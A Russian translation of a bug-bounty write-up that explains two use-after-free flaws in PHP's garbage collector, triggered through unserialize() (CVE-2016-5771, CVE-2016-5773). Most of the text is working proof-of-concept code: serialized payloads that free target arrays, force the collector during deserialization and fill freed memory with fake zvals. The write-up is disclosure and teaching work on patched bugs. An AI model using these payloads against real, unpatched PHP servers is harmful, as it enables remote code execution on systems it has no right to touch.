[Перевод] Ломаем сбор мусора и десериализацию в PHP
Эй, PHP, эти переменные выглядят как мусор, согласен?
Нет? Ну, посмотри-ка снова…
tl; dr:
Мы обнаружили две use-after-free уязвимости в алгоритме сбора мусора в PHP:
- Одна присутствует во всех версиях PHP 5 ≥ 5.3 (исправлена в PHP 5.6.23).
- Вторая — во всех версиях PHP ≥ 5.3, включая версии PHP 7 (исправлена в PHP 5.6.23 и PHP 7.0.8).
Уязвимости могут удалённо применяться через PHP-функцию десериализации. Используя их, мы отыскали RCE на pornhub.com, за что получили премию в 20 000 долларов плюс по 1000 долларов за каждую из двух уязвимостей от комитета Internet Bug Bounty на Hackerone.
Занимаясь проверкой Pornhub, мы обнаружили две критические утечки в алгоритме СМ (How we broke PHP, hacked Pornhub and earned $20,000). Речь идёт о двух важных use-after-free уязвимостях, которые проявляются при взаимодействии алгоритма СМ с определёнными PHP-объектами. Они приводят к далеко идущим последствиям вроде использования десериализации для удалённого выполнения кода на целевой системе. В статье мы рассмотрим эти уязвимости.
После фаззинга десериализации и анализа интересных случаев мы выделили два доказательства возможности use-after-free уязвимостей. Если вам интересно, как мы к ним пришли, то почитайте материал по ссылке. Один из примеров:
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = "bbbb";
var_dump($outer_array);
// Result:
// string(4) "bbbb"
Наверное, вы думаете, что результат будет примерно таким:
array(1) { // внешний массив
[1]=>
object(ArrayObject)#1 (1) {
["storage":"ArrayObject":private]=>
array(2) { // внутренний массив
[1]=>
// Ссылка на внутренний массив
[2]=>
// Ссылка на внешний массив
}
}
}
В любом случае после исполнения мы видим, что внешний массив (на него ссылается
$outer_array
) освобождён, а его zval перезаписан zval«ом $filler2
. И в качестве результата мы получаем bbbb
. Возникают следующие вопросы: - Почему вообще освобождается внешний массив?
- Что делает
gc_collect_cycles()
и действительно ли необходимо вызывать её вручную? Это очень неудобно для удалённого использования, потому что многие скрипты и установки вообще не вызывают эту функцию. - Даже если мы сможем вызвать её в ходе десериализации, будет ли работать этот пример?
Похоже, вся магия происходит в функции
gc_collect_cycles
, которая вызывает сборщик мусора PHP. Нам нужно лучше понять её, чтобы разобраться с этим таинственным примером.Содержание
- Сбор мусора в PHP
- Циклические ссылки
- Инициирование сборщика
- Алгоритм маркировки графа для цикличного сбора (Graph Marking Algorithm for Cycle Collection)
- Анализ POC
- Отладка неожиданного поведения
- Один потомок двух разных родителей?
- Отсутствующая функция сборщика и последствия этого
- Решение проблем с удалённым исполнением
- Инициирование сборщика во время десериализации
- Десериализация — жёсткий оппонент
- Уничтожение свидетельств декрементирования счётчика ссылок
- Контроль над освобождённым пространством
- Use-after-free уязвимость класса ZipArchive
- Заключение
Сбор мусора в PHP
В ранних версиях PHP не было возможности справиться с утечками памяти из-за циклических ссылок. Алгоритм СМ появился в PHP 5.3.0 (PHP manual — Collecting Cycles). Сборщик активен по умолчанию, его можно инициировать с помощью настройки
zend.enable_gc
в php.ini
.Обратите внимание: нужны базовые знания о внутренностях PHP, управлении памятью и вещах вроде zval«а и подсчёта ссылок. Если вы не знаете, что это, то сначала ознакомьтесь с основами: PHP Internals Book — Basic zval structure и PHP Internals Book — Memory managment.
Циклические ссылки
Для понимания сути циклических ссылок рассмотрим пример:
$test = array();
$test[0] = &$test;
unset($test);
Поскольку
$test
ссылается на самого себя, то его счётчик ссылок равен 2. Но даже если вы сделаете unset($test)
и счётчик станет равен 1, память не освободится: произойдёт утечка. Для решения этой проблемы разработчики PHP создали алгоритм СМ в соответствии с документом IBM «Concurrent Cycle Collection in Reference Counted Systems».Инициирование сборщика
Основная реализация доступна здесь: Zend/zend_gc.c. При каждом уничтожении zval«а, т. е. когда он сбрасывается (unset), применяется алгоритм СМ, который проверяет, массив это или объект. Все остальные типы данных (примитивы) не могут содержать циклические ссылки. Проверка реализована путём вызова функции
gc_zval_possible_root
. Любой такой потенциальный zval называется root и добавляется в список gc_root_buffer
.Эти шаги повторяются до тех пор, пока не будет выполнено одно из условий:
- gc_collect_cycles() вызван вручную.
- Заполнился объём памяти для хранения мусора. Это означает, что в root-буфере сохранено 10 000 zval«ов и сейчас будет добавлен ещё один. Ограничение 10 000 по умолчанию прописано в GC_ROOT_BUFFER_MAX_ENTRIES в заглавной секции Zend/zend_gc.c. Следующий zval снова вызовет
gc_zval_possible_root
, а тот уже вызоветgc_collect_cycles
для обработки и очистки текущего буфера, чтобы можно было сохранять новые элементы.
Алгоритм маркировки графа для цикличного сбора (Graph Marking Algorithm for Cycle Collection)
Алгоритм СМ — это графовый алгоритм маркировки, применяемой к текущей графовой структуре. Узлы графа — это zval«ы вроде массивов, строк или объектов. Рёбра представляют собой связи/ссылки между zval«ами.
Для маркировки узлов алгоритм по большей части использует следующие цвета:
- Пурпурный: потенциальный корень цикла сбора. Узел может быть корнем циклической ссылки. Все узлы, изначально добавляемые в мусорный буфер, маркируются пурпурным цветом.
- Серый: потенциальный член цикла сбора. Узел может быть частью циклической ссылки.
- Белый: член цикла сбора. Узел должен быть освобождён после остановки алгоритма.
- Чёрный: используется или уже освобождён. Узел не должен освобождаться ни при каких обстоятельствах.
Чтобы разобраться в работе алгоритма, взглянем на его реализацию. Сбор мусора исполняется в
gc_collect_cycles
: "Zend/zend_gc.c"
[...]
ZEND_API int gc_collect_cycles(TSRMLS_D)
{
[...]
gc_mark_roots(TSRMLS_C);
gc_scan_roots(TSRMLS_C);
gc_collect_roots(TSRMLS_C);
[...]
/* Free zvals */
p = GC_G(free_list);
while (p != FREE_LIST_END) {
q = p->u.next;
FREE_ZVAL_EX(&p->z);
p = q;
}
[...]
}
Эта функция заботится о следующих четырёх простых операциях:
gc_mark_roots(TSRMLS_C)
: применяетсяzval_mark_grey
ко всем пурпурным элементам вgc_root_buffer
. По отношению к текущему zval«уzval_mark_grey
выполняет следующее:- — возвращает, если zval уже помечен серым;
- — помечает zval серым;
- — получает все дочерние zval«ы (только если текущий zval — это массив или объект);
- — декрементирует счётчики ссылок дочерних zval«ов на 1 и вызывает
zval_mark_grey
.
В целом на данном этапе маркируются серым корневой и другие доступные zval«ы, у всех этих zval«ов декрементируются счётчики ссылок.- gc_scan_roots (TSRMLS_C): применяется zval_scan (к сожалению, не вызывается zval_mark_white) ко всем элементам в gc_root_buffer. По отношению к текущему zval«у zval_scan выполняет следующее:
— возвращает, если zval не серый;
— если счётчик ссылок больше нуля, вызывает zval_scan_black (к сожалению, не вызывается zval_mark_black). По сути, zval_scan_black отменяет все действия, ранее выполненные zval_mark_grey ко всем счётчикам, и маркирует чёрным все доступные zval«ы;
— текущий zval маркируется белым, а ко всем дочерним zval«ам применяется zval_scan (только если текущий zval — это массив или объект).
В целом на данном этапе определяется, какие из серых zval«ов сейчас нужно маркировать чёрным или белым. gc_collect_roots(TSRMLS_C)
: восстанавливаются счётчики ссылок у всех белых zval«ов. Также они добавляются в списокgc_zval_to_free
, эквивалентный спискуgc_free_list
.- Наконец, освобождаются все элементы
gc_free_list
, т. е. маркированные белым.
Этот алгоритм идентифицирует и освобождает все элементы циклических ссылок, сначала маркируя их белым цветом, затем собирая и освобождая. Более детальный анализ реализации выявил следующие потенциальные конфликты:
- На этапе 1.4
zval_mark_grey
декрементирует счётчики всех дочерних zval«ов до их проверки на маркированность серым цветом. - Поскольку счётчики ссылок zval«ов временно декрементированы, любой побочный эффект (наподобие проверок ослабленных счётчиков) или прочие манипуляции могут привести к катастрофическим последствиям.
Анализ POC
Вооружившись новым знанием о сборщике мусора, мы можем заново проанализировать пример с обнаруженной уязвимостью. Вызовем следующую сериализованную строку:
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
Воспользовавшись gdb, мы можем использовать стандартный для PHP 5.6 .gdbinit, а также кастомную подпрограмму для дампинга содержимого буфера сборщика мусора.
define dumpgc
set $current = gc_globals.roots.next
printf "GC buffer content:\n"
while $current != &gc_globals.roots
printzv $current.u.pz
set $current = $current.next
end
end
Теперь установим точку прерывания в
gc_mark_roots
и gc_scan_roots
, чтобы посмотреть состояние всех соответствующих счётчиков ссылок.Нам нужно найти ответ на вопрос: почему освобождается внешний массив? Загрузим php-процесс в gdb, установим точки прерывания и выполним скрипт.
(gdb) r poc1.php
[...]
Breakpoint 1, gc_mark_roots () at [...]
(gdb) dumpgc
GC roots buffer content:
[0x109f4b0] (refcount=2) array(1): { // outer_array
1 => [0x109d5c0] (refcount=1) object(ArrayObject) #1
}
[0x109ea20] (refcount=2,is_ref) array(2): { // inner_array
1 => [0x109ea20] (refcount=2,is_ref) array(2): // reference to inner_array
2 => [0x109f4b0] (refcount=2) array(1): // reference to outer_array
}
Как видите, после десериализации оба массива (внутренний и внешний) добавлены в буфер сборщика мусора. Если мы продолжим и прервёмся на
gc_scan_roots
, то получим следующие состояния счётчиков ссылок: (gdb) c
[...]
Breakpoint 2, gc_scan_roots () at [...]
(gdb) dumpgc
GC roots buffer content:
[0x109f4b0] (refcount=0) array(1): { // внешний массив
1 => [0x109d5c0] (refcount=0) object(ArrayObject) #1
}
gc_mark_roots
действительно декрементировал все счётчики до нуля. Следовательно, эти узлы на следующих этапах могут быть маркированы белым и позднее освобождены. Но возникает вопрос: почему в первом случае счётчики обнулились? Отладка неожиданного поведения
Давайте шаг за шагом пройдём через
gc_mark_roots
и zval_mark_grey
, чтобы понять, что происходит.zval_mark_grey
применён кouter_array
(вспомните, чтоouter_array
добавлен в буфер сборщика мусора).outer_array
маркирован серым, а все его потомки извлечены. В нашем случае уouter_array
только один потомок:"object(ArrayObject) #1”
(refcount=1).- Счётчик ссылок потомка или
ArrayObject
декрементирован:"object(ArrayObject) #1”
(refcount=0). zval_mark_grey
применён кArrayObject
.- Этот объект маркирован серым, а все его потомки извлечены. В данном случае к ним относятся ссылки на
inner_array
и наouter_array
. - Счётчики ссылок у обоих потомков, т. е. у обоих zval«ов, на которые ведут ссылки, декрементированы:
«outer_array» (refcount=1) and «inner_array» (refcount=1). zval_mark_grey
применён к outer_array без какого-либо эффекта, потому что outer_array уже маркирован серым (его обработали на втором этапе).zval_mark_grey
применён к inner_array. Он маркирован серым, а все его дети извлечены. Дети те же, что и на пятом этапе.- Счётчики ссылок обоих потомков снова декрементированы:
«outer_array» (refcount=0) and «inner_array» (refcount=0). - Больше zval«ов не осталось,
zval_mark_grey
прерван.
Итак, ссылки, содержавшиеся в
inner_array
или ArrayObject
, декрементированы дважды! Это определённо неожиданное поведение, ведь любая ссылка должна декрементироваться однократно. В частности, восьмого этапа вообще не должно быть, потому что все элементы уже обработаны и промаркированы ранее, на шестом этапе.Обратите внимание: алгоритм маркировки предполагает, что у каждого элемента может быть только один родительский элемент. Очевидно, в данном случае это предположение ошибочно.
Так почему же один элемент может быть возвращён как дочерний для двух разных родителей?
Один потомок двух разных родителей?
Для ответа на этот вопрос нужно изучить, как дочерние zval«ы извлекаются из родительских объектов:
"Zend/zend_gc.c"
[...]
static void zval_mark_grey(zval *pz TSRMLS_DC)
{
[...]
if (Z_TYPE_P(pz) == IS_OBJECT && EG(objects_store).object_buckets) {
if (EXPECTED(EG(objects_store).object_buckets[Z_OBJ_HANDLE_P(pz)].valid &&
(get_gc = Z_OBJ_HANDLER_P(pz, get_gc)) != NULL)) {
[...]
HashTable *props = get_gc(pz, &table, &n TSRMLS_CC);
[...]
}
Если обработанный zval — объект, то функция вызовет специальный обработчик
get_gc
. Он должен возвращать хэш-таблицу со всеми потомками. После дальнейшей отладки я обнаружил, что это приводит к вызову spl_array_get_properties
: "ext/spl/spl_array.c"
[...]
static HashTable *spl_array_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
[...]
result = spl_array_get_hash_table(intern, 1 TSRMLS_CC);
[...]
return result;
}
В общем, здесь возвращается хэш-таблица внутреннего массива
ArrayObject
. Ошибка в том, что она используется в двух разных контекстах, когда алгоритм пытается получить доступ: - к потомку
zval’а ArrayObject
; - к потомку
inner_array
.
Вам может показаться, будто на первом этапе что-то упущено, ведь возврат хэш-таблицы
inner_array
— это почти то же самое, что обработка на первом этапе, когда он должен быть маркирован серым, поэтому inner_array
не должен обрабатываться снова на втором этапе! Поэтому возникает вопрос: почему inner_array
не был промаркирован серым на первом этапе? Давайте опять посмотрим, как zval_mark_grey
извлекает потомков родительского объекта:
HashTable *props = get_gc(pz, &table, &n TSRMLS_CC);
Этот метод должен вызывать функцию сбора мусора объекта. Выглядит она так:
"ext/spl/php_date.c"
[...]
static HashTable *date_object_get_gc(zval *object, zval ***table, int *n TSRMLS_DC)
{
*table = NULL;
*n = 0;
return zend_std_get_properties(object TSRMLS_CC);
}
Как видите, возвращённая хэш-таблица должна содержать только собственные свойства объекта. Также в ней хранится параметр zval«а
table
, который передан по ссылке и используется в качестве второго «возвращаемого параметра». Этот zval должен содержать все zval«ы, на которые ссылается объект в других контекстах. Например, все объекты/zval«ы могут храниться в SplObjectStorage
.Для нашего специфического сценария с ArrayObject
можно ожидать, что в zval table
будет содержаться ссылка на inner_array
. Тогда почему вместо spl_array_get_gc
вызывается spl_array_get_properties
?
Отсутствующая функция сборщика и последствия этого
Ответ прост:
spl_array_get_gc
не существует! Разработчики PHP забыли реализовать функцию сбора мусора для ArrayObjects
. Но это всё равно не объясняет, почему вызывается spl_array_get_properties
. Чтобы выяснить это, давайте разберёмся с инициализацией объектов вообще: "Zend/zend_object_handlers.c"
[...]
ZEND_API HashTable *zend_std_get_gc(zval *object, zval ***table, int *n TSRMLS_DC) /* {{{ */
{
if (Z_OBJ_HANDLER_P(object, get_properties) != zend_std_get_properties) {
*table = NULL;
*n = 0;
return Z_OBJ_HANDLER_P(object, get_properties)(object TSRMLS_CC);
[...]
}
Стандартное поведение отсутствующей функции сборки мусора зависит от собственного метода объекта
get_properties
, если он задан.Фух, кажется, мы нашли ответ на первый вопрос. Главная причина уязвимости: функции сбора мусора для ArrayObjects
не существует.
Довольно странно, что она появилась в PHP 7.1.0 alpha2 почти сразу после выхода. Получается, что уязвимости подвержены все версии PHP ≥ 5.3 и PHP < 7. К сожалению, как мы увидим далее, этот баг нельзя инициировать во время десериализации без дополнительных телодвижений. Так что позже пришлось подготовить возможность использования эксплойта. С этого момента мы будем называть уязвимость «баг двойного декрементирования». Она описана здесь: PHP Bug – ID 72433 – CVE-2016-5771.
Решение проблем с удалённым исполнениемНам ещё нужно получить ответы на два из трёх изначальных вопросов. Начнём с этого: действительно ли необходимо вручную вызывать
gc_collect_cycles
? Инициирование сборщика во время десериализации
Сначала я сильно сомневался, что нам удастся инициировать сборщик. Однако, как уже говорилось выше, есть способ автоматического вызова сборщика мусора — при достижении лимита мусорного буфера по количеству потенциальных корневых элементов. Я придумал такой метод:
define("GC_ROOT_BUFFER_MAX_ENTRIES", 10000);
define("NUM_TRIGGER_GC_ELEMENTS", GC_ROOT_BUFFER_MAX_ENTRIES+5);
$overflow_gc_buffer = str_repeat('i:0;a:0:{}', NUM_TRIGGER_GC_ELEMENTS);
$trigger_gc_serialized_string = 'a:'.(NUM_TRIGGER_GC_ELEMENTS).':{'.$overflow_gc_buffer.'}';
unserialize($trigger_gc_serialized_string);
Если вы посмотрите на вышеописанный gdb, то увидите, что
gc_collect_cycles
действительно был вызван. Этот трюк работает лишь потому, что десериализация позволяет передавать один и тот же индекс много раз (в этом примере индекс 0). При повторном использовании индекса массива счётчик ссылок старого элемента должен декрементироваться. Для этого процесс десериализации вызывает zend_hash_update
, который вызывает деструктор старого элемента.При каждом уничтожении zval«а применяется алгоритм СМ. Это означает, что все создаваемые массивы станут заполнять мусорный буфер до тех пор, пока он не переполнится, после чего будет вызван gc_collect_cycles
.
Невероятные новости! Нам не нужно вручную инициировать процедуру сбора мусора на целевой системе. К сожалению, возникла новая, ещё более трудная проблема.
Десериализация — жёсткий оппонент
На данный момент без ответа остался вопрос: даже если во время десериализации мы сможем вызвать сборщик, будет ли в контексте десериализации всё ещё работать баг двойного декрементирования?
После тестирования мы быстро пришли к выводу, что ответ — нет. Это следствие того, что значения счётчиков ссылок всех элементов во время десериализации выше, чем после неё. Десериализатор отслеживает все десериализуемые элементы, чтобы можно было настраивать ссылки. Все эти записи хранятся в списке var_hash
. И когда десериализация подходит к концу, записи уничтожаются с помощью функции var_destroy
.
В этом примере вы можете сами наблюдать проблему больших счётчиков ссылок:
$reference_count_test = unserialize('a:2:{i:0;i:1337;i:1;r:2;}');
debug_zval_dump($reference_count_test);
/*
Result:
array(2) refcount(2){
[0]=>
long(1337) refcount(2)
[1]=>
long(1337) refcount(2)
}
*/
Счётчик целочисленного zval«а 1337 после десериализации равен 2. Установив точку прерывания до остановки десериализации (например, в вызове
var_destroy
) и сделав дамп содержимого var_hash
, мы увидим такие значения счётчиков: [0x109e820] (refcount=2) array(2): {
0 => [0x109cf70] (refcount=4) long: 1337
1 => [0x109cf70] (refcount=4) long: 1337
}
Баг двойного декрементирования позволяет нам дважды декрементировать счётчик любого выбранного элемента. Однако, как мы видим по этим цифрам, за каждую дополнительную ссылку, присваиваемую любому элементу, нам приходится расплачиваться увеличением счётчика ссылок на 2.
Лёжа в бессоннице в четыре утра и размышляя обо всех этих проблемах, я наконец вспомнил одну важную вещь: функция десериалиазиции ArrayObject
принимает ссылку на другой массив для инициализации. То есть если вы десериализуете ArrayObject
, то можете просто сослаться на любой массив, который уже десериализован. Это позволяет дважды декрементировать все записи конкретной хэш-таблицы. Последовательность действий такая:
- У нас есть целевой zval X, который нужно освободить.
- Создаём массив Y, содержащий несколько ссылок на zval X:
array(ref_to_X, ref_to_X, […], ref_to_X)
- Создаём
ArrayObject
, который будет инициализирован содержимым массива Y. Следовательно, он вернёт всех потомков массива Y при обработке алгоритмом маркировки сборщика мусора.
Используя эту инструкцию, мы можем манипулировать алгоритмом маркировки, чтобы дважды обработать все ссылки в массиве Y. Но, как упоминалось выше, создание ссылки приведёт к тому, что во время десериализации счётчик ссылок увеличится на 2. Так что двойная обработка ссылки будет равнозначна тому, как если бы мы изначально проигнорировали ссылку. Вся хитрость заключается в добавлении к нашей последовательности действий следующего пункта:
- Создаём дополнительный
ArrayObject
с теми же установками, что и у предыдущего.
Когда алгоритм маркировки перейдёт ко второму
ArrayObject
, он начнёт в третий раз декрементировать все ссылки в массиве Y. Теперь мы можем получить отрицательную дельту счётчика ссылок и обнулить счётчик любого целевого zval«а! Поскольку эти ArrayObject
«ы используются для декрементирования счётчиков, я буду называть их теперь DecrementorObject
«ами.
К сожалению, даже после того как нам удалось обнулить счётчик любого целевого zval«а, алгоритм СМ их не освобождает…
Уничтожение свидетельств декрементирования счётчика ссылок
После длительных отладок я обнаружил ключевую проблему с вышеописанной последовательностью действий. Я предполагал, что, как только узел маркируется белым, он окончательно освобождён. Но оказалось, что белый узел позднее может быть снова маркирован чёрным.
Вот что происходит при выполнении нашей последовательности действий:
- Как только
gc_mark_roots
иzval_mark_grey
завершаются, счётчик ссылок целевого zval«а становится равен 0. - Далее сборщик мусора выполнит
gc_scan_roots
, чтобы определить, какие zval«ы можно маркировать белым, а какие чёрным. На этом этапе целевой zval маркируется белым (потому что его счётчик равен 0). - Когда наша функция перейдёт к
DecrementorObject
«ам, она обнаружит, что их собственные счётчики больше 0, и маркирует чёрным цветом их самих и их потомков. К сожалению, наш целевой zval тоже дочерний по отношению кDecrementorObject
«ам. Следовательно, он маркируется чёрным.
Итак, нам нужно как-то избавиться от свидетельств декрементирования. Также необходимо удостовериться, что счётчики наших
DecrementorObject
«ов обнулятся после завершения zval_mark_grey
. После поиска наиболее простого решения я пришёл к выводу, что нужно изменить последовательность действий так: array( ref_to_X, ref_to_X, DecrementorObject, DecrementorObject)
----- ------------------------------------
/* | |
target_zval each one is initialized with the
X contents of array X
*/
Преимущество изменений в том, что
DecrementorObject
«ы теперь декрементируют и свои собственные счётчики. Это поможет достичь состояния, когда целевой массив и все его потомки получат обнулённые счётчики, после того как gc_mark_roots
обработает все zval«ы. Благодаря этой идее и дополнительным усовершенствованиям можно прийти к такому примеру: define("GC_ROOT_BUFFER_MAX_ENTRIES", 10000);
define("NUM_TRIGGER_GC_ELEMENTS", GC_ROOT_BUFFER_MAX_ENTRIES+5);
// Переполнение мусорного буфера.
$overflow_gc_buffer = str_repeat('i:0;a:0:{}', NUM_TRIGGER_GC_ELEMENTS);
// decrementor_object будет инициализирован с помощью содержимого целевого массива ($free_me).
$decrementor_object = 'C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}}';
// Следующие ссылки в ходе десериализации будут указывать на массив $free_me (id=3).
$target_references = 'i:0;r:3;i:1;r:3;i:2;r:3;i:3;r:3;';
// Настроим целевой массив, т. е. массив, который должен быть освобождён в ходе десериализации.
$free_me = 'a:7:{'.$target_references.'i:9;'.$decrementor_object.'i:99;'.$decrementor_object.'i:999;'.$decrementor_object.'}';
// Инкрементируем на 2 счётчик ссылок каждого decrementor_object.
$adjust_rcs = 'i:99;a:3:{i:0;r:8;i:1;r:12;i:2;r:16;}';
// Запустим сборщик мусора и освободим целевой массив.
$trigger_gc = 'i:0;a:'.(2 + NUM_TRIGGER_GC_ELEMENTS).':{i:0;'.$free_me.$adjust_rcs.$overflow_gc_buffer.'}';
// Добавим триггер СМ и ссылку на целевой массив.
$payload = 'a:2:{'.$trigger_gc.'i:0;r:3;}';
var_dump(unserialize($payload));
/*
Result:
array(1) {
[0]=>
int(140531288870456)
}
*/
Как видите, больше не нужно вручную запускать
gc_collect_roots
! Целевой массив ($free_me
в этом примере) освобождён, а также с ним произошёл ещё ряд странных вещей, так что в итоге у нас остался адрес кучи.Почему так случилось?
- Сборщик был инициирован, целевой массив — освобождён. Затем сборщик был прерван, а контроль — возвращён десериализатору.
- Освобождённое пространство будет перезаписано следующим zval«ом. Помните, что мы инициировали сборщик мусора с помощью многочисленных последовательных структур «i:0; a:0:{}». Один из элементов запускает сборщик для следующего zval«а, создаваемого после «i:0;», что является целочисленным индексом следующего массива, который будет определён. Иными словами, у нас есть строка »[…]i:0; a:0:{} X i:0; a:0:{} X i:0; a:0:{}[…]», в которой произвольный X инициирует сборщик мусора. После этого продолжится десериализация данных, которые заполнят ранее освобождённое пространство.
- Наше освобождённое пространство временно содержит этот целочисленный zval. Когда десериализация близка к завершению, будет вызвана функция
var_destroy
, которая освободит этот целочисленный элемент. Диспетчер памяти перезапишет первые байты освобождённого пространства адресом последнего освобождённого пространства. Однако тип последнего zval«а — целочисленный — сохранится.
В результате мы видим адрес кучи. Возможно, в этом не так просто разобраться с ходу, однако единственный важный вывод — в понимании, где инициируется сборщик и где генерируются новые значения для заполнения свежего освобождённого пространства.
Теперь можно обрести контроль над ним.
Контроль над освобождённым пространством
Нормальная процедура контроля заключается в заполнении пространства фальшивыми zval«ами. С помощью висячего указателя вы можете потом устроить утечку памяти или управлять указателем команд процессора. В нашем примере для использования освобождённого пространства нужно сделать несколько вещей:
- Освободить несколько переменных, чтобы можно было заполнить пространство одной из них содержимым строки нашего фальшивого zval«а, вместо того чтобы заполнять пространство zval«ом строки фальшивого zval«а.
- «Стабилизировать» освобождённое пространство, которое будет заполнено zval«ом строки фальшивого zval«а. Если этого не сделать, во время десериализации строка фальшивого zval«а просто освободится, что испортит его.
- Обеспечить правильное выравнивание освобождённого пространства и строк фальшивых zval«ов. Также удостовериться, что освобождаемые сборщиком пространства немедленно заполняются строками фальшивых zval«ов. Мне удалось добиться этого с помощью «бутербродной» методики.
Я не буду углубляться в детали, а лишь оставлю для вас этот POC:
define("GC_ROOT_BUFFER_MAX_ENTRIES", 10000);
define("NUM_TRIGGER_GC_ELEMENTS", GC_ROOT_BUFFER_MAX_ENTRIES+5);
// Создаём строку фальшивого zval’а, которая позднее заполнит освобождённое пространство.
$fake_zval_string = pack("Q", 1337).pack("Q", 0).str_repeat("\x01", 8);
$encoded_string = str_replace("%", "\\", urlencode($fake_zval_string));
$fake_zval_string = 'S:'.strlen($fake_zval_string).':"'.$encoded_string.'";';
// Создаём «бутербродную» структуру:
// TRIGGER_GC;FILL_FREED_SPACE;[...];TRIGGER_GC;FILL_FREED_SPACE
$overflow_gc_buffer = '';
for($i = 0; $i < NUM_TRIGGER_GC_ELEMENTS; $i++) {
$overflow_gc_buffer .= 'i:0;a:0:{}';
$overflow_gc_buffer .= 'i:'.$i.';'.$fake_zval_string;
}
// decrementor_object будет инициализирован с помощью содержимого целевого массива ($free_me).
$decrementor_object = 'C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}}';
// Следующие ссылки во время десериализации будут указывать на массив $free_me (id=3).
$target_references = 'i:0;r:3;i:1;r:3;i:2;r:3;i:3;r:3;';
// Настроим целевой массив, т. е. массив, который должен быть освобождён в ходе десериализации.
$free_me = 'a:7:{i:9;'.$decrementor_object.'i:99;'.$decrementor_object.'i:999;'.$decrementor_object.$target_references.'}';
// Инкрементируем на 2 счётчик ссылок каждого decrementor_object.
$adjust_rcs = 'i:99999;a:3:{i:0;r:4;i:1;r:8;i:2;r:12;}';
// Запустим сборщик мусора и освободим целевой массив.
$trigger_gc = 'i:0;a:'.(2 + NUM_TRIGGER_GC_ELEMENTS*2).':{i:0;'.$free_me.$adjust_rcs.$overflow_gc_buffer.'}';
// Добавим триггер СМ и ссылку на целевой массив.
$stabilize_fake_zval_string = 'i:0;r:4;i:1;r:4;i:2;r:4;i:3;r:4;';
$payload = 'a:6:{'.$trigger_gc.$stabilize_fake_zval_string.'i:4;r:8;}';
$a = unserialize($payload);
var_dump($a);
/*
Result:
array(5) {
[...]
[4]=>
int(1337)
}
*/
В этом примере вы можете видеть, как после всех наших усилий удаётся создать искусственную целочисленную переменную.
К этому моменту уже была готова полезная нагрузка для применения в эксплойте. Обратите внимание, что ради неё можно оптимизировать код. Например, ради минимизации размера полезной нагрузки применить «бутербродную» методику только для последних 20% элементов «i:0; a:0:{}».
Use-after-free уязвимость класса ZipArchiveДругой уязвимостью, о которой мы сообщили в данном контексте, стала PHP Bug — ID 72434 — CVE-2016–5773. Она базируется на той же ошибке: нереализованной функции сбора мусора внутри класса ZipArchive. Однако использование этой уязвимости достаточно сильно отличается от уязвимости, описанной выше.
Поскольку счётчики ссылок zval«ов временно декрементированы, любой побочный эффект (наподобие проверок ослабленных счётчиков) или прочие манипуляции могут привести к катастрофическим последствиям.
Как раз в этом случае уязвимость можно использовать. Сначала мы позволяем алгоритму маркировки ослабить счётчики ссылок, а затем вместо правильной функции сбора мусора вызываем php_zip_get_properties
. Тем самым мы освобождаем какой-то конкретный элемент. Посмотрите на пример:
$serialized_string = 'a:1:{i:0;a:3:{i:1;N;i:2;O:10:"ZipArchive":1:{s:8:"filename";i:1337;}i:1;R:5;}}';
$array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = "bbbb";
var_dump($array[0]);
/*
Result:
array(2) {
[1]=>
string(4) "bbbb"
[...]
*/
Нужно упомянуть, что в нормальных условиях невозможно создать ссылки на zval«ы, которые ещё не десериализованы. Эта полезная нагрузка использует небольшой трюк, позволяющий обойти ограничение:
[...] i:1;N; [...] s:8:"filename";i:1337; [...] i:1;R:REF_TO_FILENAME; [...]
Здесь создаётся запись NULL с индексом 1, которая позднее перезаписывается ссылкой на имя файла. Сборщик мусора увидит только «i:1; REF_TO_FILENAME; […] s:8: «filename»; i:1337; […]». Этот трюк необходим для уверенности в том, что счётчик ссылок целочисленного zval«а «filename» был ослаблен, прежде чем начнут действовать какие-либо побочные эффекты.
ЗаключениеПодготовка этих багов к удалённому использованию была очень непростой задачей. Стоило решить одну проблему, как возникала новая. В статье мы рассмотрели один из подходов к решению достаточно сложной проблемы. Последовательно задавая себе продуманные вопросы, концентрируясь на постепенном получении каждого ответа и разбирая определения, мы наконец справились с трудностями и достигли цели.
Было интересно понаблюдать за взаимодействием двух совершенно не связанных друг с другом PHP-компонентов: десериализатора и сборщика мусора. Лично я получил море удовольствия и многое узнал, анализируя их поведение. Так что могу порекомендовать вам воспроизвести всё вышесказанное для обучения. Это особенно важно: статья достаточно длинная, но даже в ней я не осветил ряд деталей.
В сценарии применялся десериализатор, но можно обойтись и без него, по крайней мере для локального использования уязвимостей. Это отличает их от обычных, лежащих на поверхности уязвимостей, которые применялись для аудита десериализации в более ранних версиях PHP. В любом случае, как говорилось в начале статьи: никогда не прибегайте к десериализации с пользовательским вводом, а лучше опирайтесь на менее сложные методы вроде JSON.
Эксперимент подтвердил, что мы можем использовать одну из обсуждённых уязвимостей для удалённого исполнения кода на pornhub.com. Это делает сборщика мусора в PHP интересным кандидатом для атаки.
Сборка мусора zval’ов пошла как-то не так.